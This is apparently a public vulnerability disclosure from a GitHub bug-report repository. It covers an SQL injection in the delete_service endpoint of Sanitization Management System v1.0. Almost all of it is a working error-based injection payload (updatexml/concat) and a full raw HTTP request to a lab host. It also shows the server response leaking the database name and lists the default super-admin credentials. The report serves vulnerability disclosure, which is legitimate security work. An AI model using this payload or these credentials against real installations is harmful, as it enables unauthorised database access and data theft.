

🔑 main ▾

...

bug_report / vendors / oretnom23 / sanitization-management-system / SQLi-3.md



daytime888 Create SQLi-3.md

🕒 History

👤 1 contributor

38 lines (26 sloc) | 1.3 KB

...

Sanitization Management System v1.0 by oretnom23 has SQL injection

BUG_Author: daytime

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /php-sms/classes/Master.php?f=delete_service

Vulnerability location: /php-sms/classes/Master.php?f=delete_service, id

dbname =sms_db,length=6

[+] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /php-sms/classes/Master.php?f=delete_service HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/php-sms/admin/?page=services
Content-Length: 65
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot displays a web browser window with two panes. The left pane shows the raw HTTP request, and the right pane shows the server response.

Left Pane (Request):

```
POST /php-sms/classes/Master.php?f=delete_service HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/php-sms/admin/?page=services
Content-Length: 65
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

Right Pane (Response):

```
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2022 07:53:28 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.1.0
X-Powered-By: PHP/8.1.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 421
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: XPATH syntax error: ''sms_db'' in C:\xampp\htdocs\php-sms\classes\Master.php:132
Stack trace:
#0 C:\xampp\htdocs\php-sms\classes\Master.php(132): mysqli->query('UPDATE `service...')
#1 C:\xampp\htdocs\php-sms\classes\Master.php(340): Master->delete_service()
#2 {main}
thrown in C:\xampp\htdocs\php-sms\classes\Master.php on line 132</b><br />
```

At the bottom of the browser window, a search bar indicates "0 matches" and the status "Done". The bottom right corner shows "780 bytes | 30 millis".